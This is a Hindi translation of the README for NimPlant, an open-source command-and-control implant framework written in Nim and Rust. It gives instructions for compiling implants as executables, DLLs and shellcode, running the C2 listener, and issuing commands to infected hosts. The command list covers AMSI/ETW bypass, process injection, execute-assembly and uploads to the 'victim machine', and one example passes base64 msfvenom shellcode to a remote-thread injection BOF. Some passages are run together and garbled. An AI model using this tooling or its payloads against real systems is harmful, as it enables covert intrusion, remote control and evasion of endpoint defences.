
एक हल्का पहला-चरण C2 इम्प्लांट जो Nim (और Rust) में लिखा गया है।
Cas van Cooten (@chvancooten द्वारा), कुछ शानदार लोगों को विशेष धन्यवाद:
Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl), Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), और कई अन्य!
यदि NimPlant आपके लिए उपयोगी रहा है और/या आपको मेरा काम सामान्य रूप से पसंद है, तो आपका समर्थन बहुत स्वागत योग्य है:
inline-execute, shinject (डायनामिक इनवोकेशन का उपयोग करके), कस्टम रनस्पेस में powershell, या इन-थ्रेड execute-assembly के माध्यम से अधिक उन्नत कार्यक्षमता या पेलोड की आसान तैनातीNimplant चलाने के लिए Python3 का एक आधुनिक संस्करण आवश्यक है।
requirements.txt स्थापित करें (pip3 install -r server/requirements.txt).choosenim के माध्यम से स्थापना अनुशंसित है, क्योंकि apt के पास हमेशा नवीनतम संस्करण नहीं होता है).cd client; nimble install -d).mingw टूलचेन स्थापित करें (brew install mingw-w64 या apt install mingw-w64).rustup के माध्यम से स्थापना अनुशंसित है).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml फ़ाइल को Cargo.toml के अनुसार संशोधित करें और नाइटली बिल्ड चेन का उपयोग करें (rustup default nightly).नोट: भले ही Windows पर कंपाइल कर रहे हों,
x86_64-pc-windows-gnuटार्गेट अनुशंसित है। इसके परिणामस्वरूप थोड़ी बड़ी बायनरी बनती हैं, लेकिन जब परिणामी DLL से शेलकोड उत्पन्न होता है तो यह अधिक स्थिर दिखाई देता है। आप टार्गेट कोx86_64-pc-windows-msvcमें बदलने के लिएrust-toolchain.tomlको संशोधित कर सकते हैं, लेकिन उत्पन्न शेलकोड सभी मामलों में सही ढंग से काम नहीं कर सकता है।
NimPlant का उपयोग करने से पहले, कॉन्फ़िगरेशन फ़ाइल config.toml बनाएं। config.toml.example को कॉपी करके वहां से काम करने की अनुशंसा की जाती है।
सेटिंग्स का अवलोकन नीचे प्रदान किया गया है।
एक बार कॉन्फ़िगरेशन आपकी पसंद के अनुसार हो जाने पर, आप अपने लक्ष्य पर तैनात करने के लिए NimPlant बायनरी उत्पन्न कर सकते हैं। वर्तमान में, NimPlant क्रमशः (स्व-हटाने वाली) एक्ज़ीक्यूटेबल, लाइब्रेरी और स्थिति-स्वतंत्र शेलकोड (sRDI के माध्यम से) के लिए .exe, .dll, और .bin बायनरी का समर्थन करता है। उत्पन्न करने के लिए, अपनी पसंदीदा बायनरी (exe, exe-selfdelete, dll, raw, या all) और, वैकल्पिक रूप से, इम्प्लांट प्रकार (nim, rust, nim-debug, या rust-debug - डिफ़ॉल्ट रूप से Nim कंपाइल करेगा) के बाद python nimplant.py compile चलाएं। फ़ाइलें क्रमशः client/bin/ या में लिखी जाएंगी।
आप कंपाइलेशन के दौरान एक नई XOR कुंजी उत्पन्न और उपयोग करने के लिए rotatekey तर्क पास कर सकते हैं।
नोट्स:
NimPlant इस समय केवल x64 का समर्थन करता है!
DLL फ़ाइलों के लिए एंट्रीपॉइंट Update है, जो DllMain द्वारा सभी एंट्रीपॉइंट के लिए ट्रिगर होता है। इसका मतलब है कि आप ट्रिगर करने के लिए rundll32 .\NimPlant.dll,Update का उपयोग कर सकते हैं, या इसे साइडलोड करने के लिए अपने पसंदीदा LOLBIN का उपयोग कर सकते हैं (client/NimPlant.nim या client-rs/src/lib.rs में कुछ संशोधनों की आवश्यकता हो सकती है)```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### Docker के साथ संकलन
Docker का उपयोग करना आसान है और निर्भरता संबंधी समस्याओं से बचाता है, क्योंकि कंटेनर में सभी आवश्यक बिल्ड-टाइम और रनटाइम निर्भरताएँ पहले से स्थापित होती हैं।
Docker का उपयोग करने के लिए, आप [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) से सार्वजनिक `chvancooten/nimplant` कंटेनर का उपयोग कर सकते हैं (CI/CD के माध्यम से निर्मित), या स्रोत से `Dockerfile` बना सकते हैं।
> स्रोत से निर्माण करने के लिए, मुख्य निर्देशिका से निम्नलिखित चलाएँ:
>
> ```bash
> docker build . -t nimplant
> ```
इससे `nimplant:latest` टैग वाला एक कंटेनर बनेगा। ध्यान दें: विकास निर्भरताओं के कारण इसमें कुछ समय लग सकता है और एक बड़ा कंटेनर बन सकता है!
एक बार यह हो जाने के बाद, आप अपने आर्टिफैक्ट्स को संकलित करने के लिए कमांड लाइन से कंटेनर चला सकते हैं।```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
नोट: यह एक उदाहरण कमांड है, सुनिश्चित करें कि आप अपनी स्थिति के अनुसार माउंटेड वॉल्यूम जैसे आर्गुमेंट्स को समायोजित करें।
जब आपके पास आपके बाइनरी तैयार हों, तो आप अपना NimPlant सर्वर चालू कर सकते हैं! यदि आपने स्थानीय रूप से कंपाइल किया है, तो कोई अतिरिक्त कॉन्फ़िगरेशन आवश्यक नहीं है क्योंकि यह उसी config.toml फ़ाइल से पढ़ता है। सर्वर लॉन्च करने के लिए, बस python nimplant.py server चलाएँ (लिनक्स पर चलाने पर sudo विशेषाधिकारों के साथ)। आप एक बार Nimplant चेक इन करने पर कंसोल का उपयोग कर सकते हैं, या वेब इंटरफ़ेस तक http://localhost:31337 (डिफ़ॉल्ट रूप से) पर पहुँच सकते हैं।
नोट्स:
यदि आप अपने NimPlant सर्वर को उस मशीन से बाहरी रूप से चला रहे हैं जहाँ बाइनरी कंपाइल किए गए हैं, तो सुनिश्चित करें कि config.toml और .xorkey दोनों मेल खाते हैं। यदि नहीं, तो NimPlant कनेक्ट नहीं हो पाएगा।
वेब फ्रंटएंड या API प्रमाणीकरण का समर्थन नहीं करते हैं, इसलिए सुरक्षित रिवर्स प्रॉक्सी के बिना फ्रंटएंड पोर्ट को किसी भी अविश्वसनीय नेटवर्क पर नहीं खोलें!
यदि NimPlant किसी सर्वर से कनेक्ट नहीं हो पाता या कनेक्शन खो देता है, तो यह पुनः पंजीकरण का प्रयास करने से पहले एक्सपोनेंशियल बैकऑफ़ समय के साथ 5 बार पुनः प्रयास करेगा। यदि यह 5 और बार पंजीकरण करने में विफल रहता है (समान बैकऑफ़ तर्क), तो यह स्वयं को समाप्त कर लेगा। बैकऑफ़ प्रत्येक असफल प्रयास पर स्लीप समय को तिगुना कर देता है। उदाहरण के लिए, यदि स्लीप समय 10 सेकंड है, तो यह 10, फिर 30 (3^1 * 10), फिर 90 (3^2 * 10), फिर 270 (3^3 * 10), फिर 810 सेकंड प्रतीक्षा करेगा इससे पहले कि वह हार मान ले (ये पैरामीटर हार्डकोडेड हैं लेकिन client/NimPlant.nim में बदले जा सकते हैं)।
लॉग server/logs निर्देशिका में संग्रहीत होते हैं। प्रत्येक सर्वर इंस्टेंस एक नया लॉग फ़ोल्डर बनाता है, और लॉग प्रति कंसोल/nimplant सत्र में विभाजित होते हैं। डाउनलोड और अपलोड (वेब GUI के माध्यम से अपलोड की गई फ़ाइलों सहित) क्रमशः server/uploads और server/downloads निर्देशिकाओं में संग्रहीत होते हैं।
Nimplant और सर्वर विवरण server/nimplant.db पर एक SQLite डेटाबेस में संग्रहीत होते हैं। इस डेटा का उपयोग सर्वर पुनरारंभ के बाद Nimplants को पुनर्प्राप्त करने के लिए भी किया जाता है।
लॉग, अपलोड/डाउनलोड की गई फ़ाइलें, और डेटाबेस को cleanup फ़्लैग के साथ चलाकर साफ किया जा सकता है। सावधानी: यह सब कुछ हटा देगा, इसलिए पहले अपनी आवश्यक चीज़ों का बैकअप लेना सुनिश्चित करें!```
PS C:\NimPlant> python .\nimplant.py server
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
यह C2 API और प्रबंधन वेब सर्वर (उपरोक्त उदाहरण में `http://127.0.0.1:31337` पर) और NimPlant लिसनर (उपरोक्त उदाहरण में `https://0.0.0.0:443` पर) दोनों को प्रारंभ करेगा। जब कोई NimPlant चेक इन करता है, तो आप NimPlant को कमांड भेजने के लिए वेब इंटरफ़ेस और कंसोल दोनों का उपयोग कर सकते हैं।
### Docker के साथ सर्वर प्रारंभ करना
वही `chvancooten/nimplant` कंटेनर जिसका उपयोग संकलन के लिए किया जा सकता है, का उपयोग NimPlant सर्वर चलाने के लिए भी किया जा सकता है। NimPlant को सर्वर पहचानने के लिए, `config.toml` और `.xorkey` फ़ाइलों को उस मशीन से मेल खाना चाहिए जहाँ NimPlant संकलित किया गया था (यह स्वचालित रूप से सही है यदि आपने संकलन के लिए उसी Docker कंटेनर का उपयोग किया है)। इसके अलावा, `config.toml` फ़ाइल को Docker के लिए सही ढंग से कॉन्फ़िगर करने की आवश्यकता है, विशेष रूप से प्रबंधन सर्वर IP को `0.0.0.0` पर सेट किया जाना चाहिए ताकि Docker के माध्यम से उस तक पहुँचा जा सके (सुनिश्चित करें कि इसे अपने होस्ट पर केवल स्थानीय इंटरफ़ेस पर ही उजागर करें)।
आप नीचे दिए गए उदाहरण कमांड के साथ NimPlant सर्वर शुरू कर सकते हैं:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
नोट: यह एक उदाहरण कमांड है, सुनिश्चित करें कि आप अपनी स्थिति के अनुसार माउंटेड वॉल्यूम जैसे तर्कों को समायोजित करें।
Docker का उपयोग करके आप अधिक जटिल कॉन्फ़िगरेशन आसानी से सेट कर सकते हैं। उदाहरण के तौर पर, docker-example निर्देशिका में एक docker-compose.yml फ़ाइल है जो दिखाती है कि HTTPS और एक डमी लैंडिंग पेज का उपयोग करके NimPlant को Nginx रीडायरेक्टर के पीछे कैसे एक्सपोज़ किया जाए।
उपलब्ध कमांड इस प्रकार हैं। help [command] टाइप करके किसी भी कमांड के लिए विस्तृत सहायता प्राप्त कर सकते हैं। (GUI) से चिह्नित कुछ कमांड को वेब इंटरफ़ेस का उपयोग करते समय ग्राफिक रूप से कॉन्फ़िगर किया जा सकता है, यह बिना किसी तर्क के कमांड को कॉल करके किया जा सकता है।```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### बीकन ऑब्जेक्ट फ़ाइलों (BOF) का उपयोग करना
**नोट: BOF स्वभावतः अस्थिर होते हैं, और दोषपूर्ण BOF चलाने या गलत तर्क या प्रकार पास करने से आपका NimPlant सत्र क्रैश हो सकता है! BOF तैनात करने से पहले उनका परीक्षण करना सुनिश्चित करें!**
NimPlant, शानदार [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) और [Coffee](https://github.com/hakaioffsec/coffee) (Rust) प्रोजेक्ट्स के कारण मेमोरी में BOF लोड करने का समर्थन करता है। BOF चलाने के लिए एक स्थानीय संकलित BOF ऑब्जेक्ट फ़ाइल (आमतौर पर `bofname.x64.o` जैसा कुछ कहा जाता है), एक एंट्रीपॉइंट (आमतौर पर `go`), और उनके संबंधित तर्क प्रकारों के साथ तर्कों की एक सूची की आवश्यकता होती है। तर्कों को एक स्पेस-सेपरेटेड `arg argtype` जोड़ी के रूप में पास किया जाता है।
तर्क "Zzsib" प्रारूप के अनुसार दिए जाते हैं, इसलिए ये `string` (उपनाम: `z`), `wstring` (या `Z`), `integer` (उपनाम: `int` या `i`), `short` (`s`), या `binary` (`bin` या `b`) हो सकते हैं। बाइनरी तर्क एक कच्चा बाइनरी स्ट्रिंग या base64-एन्कोडेड हो सकता है, खराब वर्णों से बचने के लिए बाद वाला अनुशंसित है।
उपयोग के कुछ उदाहरण (शानदार TrustedSec BOFs [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] का उदाहरण के रूप में उपयोग करते हुए) नीचे दिए गए हैं। ध्यान दें कि `inline-execute` (बिना तर्कों के) का उपयोग GUI में ग्राफिक रूप से कमांड को कॉन्फ़िगर करने के लिए किया जा सकता है।```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
डिफ़ॉल्ट रूप से, NimPlant server/util/notify.py में परिभाषित notify_user() हुक के माध्यम से पुश सूचनाओं का समर्थन करता है। डिफ़ॉल्ट रूप से, यह एक सरल Telegram सूचना को कार्यान्वित करता है जिसके लिए TELEGRAM_CHAT_ID और TELEGRAM_BOT_TOKEN पर्यावरण चर सेट होना आवश्यक है, तभी यह सक्रिय होगा। बेशक, कोड को अपनी स्वयं की पुश सूचना कार्यक्षमता के साथ आसानी से बढ़ाया जा सकता है। notify_user() हुक तब कॉल किया जाता है जब कोई नया NimPlant कनेक्ट होता है, और उसे NimPlant विवरण वाला एक ऑब्जेक्ट प्राप्त होता है, जिसे फिर इच्छानुसार पुश किया जा सकता है।
सामान्य उपयोगकर्ता के रूप में, आपको Nimplant के साथ आने वाले UI को संशोधित या पुनर्निर्माण करने की आवश्यकता नहीं होनी चाहिए। हालांकि, यदि आप परिवर्तन करना चाहते हैं, तो NodeJS स्थापित करें और ui निर्देशिका में रहते हुए npm install चलाएँ। फिर ui/build-ui.py चलाएँ। यह पैकेज प्राप्त करने, Next.JS फ्रंटएंड को संकलित करने और फ़ाइलों को Nimplant सर्वर के उपयोग के लिए सही स्थान पर रखने का ध्यान रखेगा।
NimPlant को एक सीखने की परियोजना के रूप में विकसित किया गया था और पारदर्शिता और शैक्षिक उद्देश्यों के लिए जनता के लिए जारी किया गया था। एंटीवायरस या EDR चोरी नहीं आउट-ऑफ-द-बॉक्स इम्प्लांट(स) का लक्ष्य है। काफी हद तक, NimPlant अपने इरादों को छिपाने का कोई प्रयास नहीं करता है। इसके अतिरिक्त, दुरुपयोग को रोकने के लिए सुरक्षा उपाय किए गए हैं। दूसरे शब्दों में, बिना पूरी तरह से स्रोत कोड समीक्षा और संशोधनों के, NimPlant को प्रोडक्शन में ज्यों का त्यों उपयोग न करें! यह भी याद रखें कि, किसी भी C2 फ्रेमवर्क की तरह, कुछ कमांड चलाने के OPSEC फिंगरप्रिंट को तैनाती से पहले विचार किया जाना चाहिए। NimPlant को config.toml में riskyMode को false पर सेट करके OPSEC-जोखिम वाले कमांड के बिना संकलित किया जा सकता है।
Nimplant के संकलित या चलने में विफल होने के कई कारण हैं। यदि आप समस्याओं का सामना करते हैं, तो कृपया निम्नलिखित प्रयास करें (क्रम में):
server/logs निर्देशिका में किसी भी त्रुटि के लिए लॉग की जांच करेंnim-debug या rust-debug संकलन मोड आज़माएं| श्रेणी | सेटिंग | विवरण |
|---|
| server | ip | वह IP जिस पर C2 वेब सर्वर (API सहित) सुनेगा। यह recommend किया जाता है कि 127.0.0.1 का उपयोग करें, केवल 0.0.0.0 का उपयोग करें जब आपने C2 की सुरक्षा के लिए उचित फ़ायरवॉल या रूटिंग नियम सेट किए हों। |
| server | port | वह पोर्ट जिस पर C2 वेब सर्वर (API सहित) सुनेगा। |
| listener | type | लिस्नर प्रकार, या तो HTTP या HTTPS। HTTPS विकल्प नीचे कॉन्फ़िगर किए गए हैं। |
| listener | sslCertPath | एक HTTPS प्रमाणपत्र फ़ाइल का स्थानीय पथ (उदा. LetsEncrypt CertBot के माध्यम से अनुरोधित या स्व-हस्ताक्षरित)। लिस्नर प्रकार 'HTTP' होने पर अनदेखा किया जाता है। |
| listener | sslKeyPath | संबंधित HTTPS प्रमाणपत्र निजी कुंजी फ़ाइल का स्थानीय पथ। यदि सेट है तो NimPlant सर्वर चलाने पर पासवर्ड मांगा जाएगा। लिस्नर प्रकार 'HTTP' होने पर अनदेखा किया जाता है। |
| listener | hostname | लिस्नर होस्टनेम। यदि खाली नहीं है (""), तो NimPlant कनेक्ट करने के लिए इस होस्टनेम का उपयोग करेगा। सुनिश्चित करें कि आप इस होस्ट से NimPlant लिस्नर पोर्ट पर ट्रैफ़िक को ठीक से रूट कर रहे हैं। |
| listener | ip | लिस्नर IP। 'hostname' सेट होने पर भी आवश्यक है, क्योंकि इसका उपयोग सर्वर द्वारा इस IP पर पंजीकरण करने के लिए किया जाता है। |
| listener | port | लिस्नर पोर्ट। 'hostname' सेट होने पर भी आवश्यक है, क्योंकि इसका उपयोग सर्वर द्वारा इस पोर्ट पर पंजीकरण करने के लिए किया जाता है। |
| listener | registerPath | URI पथ जहां नए NimPlants पंजीकरण करेंगे। |
| listener | taskPath | URI पथ जहां से NimPlants कार्य प्राप्त करेंगे। |
| listener | resultPath | URI पथ जहां NimPlants परिणाम सबमिट करेंगे। |
| nimplant | riskyMode | जोखिम भरे कमांड के समर्थन के साथ NimPlant कंपाइल करें। ऑपरेटर के विवेक पर। अक्षम करने से execute-assembly, powershell, shell और shinject का समर्थन हट जाएगा। |
| nimplant | sleepMask | क्या Nimplants के लिए नियमित नींद कॉल के बजाय Ekko नींद मास्क का उपयोग करना है या नहीं। फिलहाल केवल नियमित एक्ज़ीक्यूटेबल के साथ काम करता है! |
| nimplant | sleepTime | नए NimPlants के लिए डिफ़ॉल्ट नींद का समय सेकंड में। |
| nimplant | sleepJitter | नए NimPlants के लिए डिफ़ॉल्ट जिटर प्रतिशत में। |
| nimplant | killDate | Nimplants के लिए किल तिथि (प्रारूप: yyyy-MM-dd)। यदि यह तिथि बीत चुकी है तो Nimplants बाहर निकल जाएंगे। |
| nimplant | userAgent | NimPlants द्वारा उपयोग किया जाने वाला user-agent। सर्वर भी NimPlant ट्रैफ़िक को मान्य करने के लिए इसका उपयोग करता है, इसलिए एक ऐसी UA चुनने की सिफारिश की जाती है जो असंगत न हो, लेकिन बहुत प्रचलित भी न हो। |
client-rs/bin/nimplant.py * *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)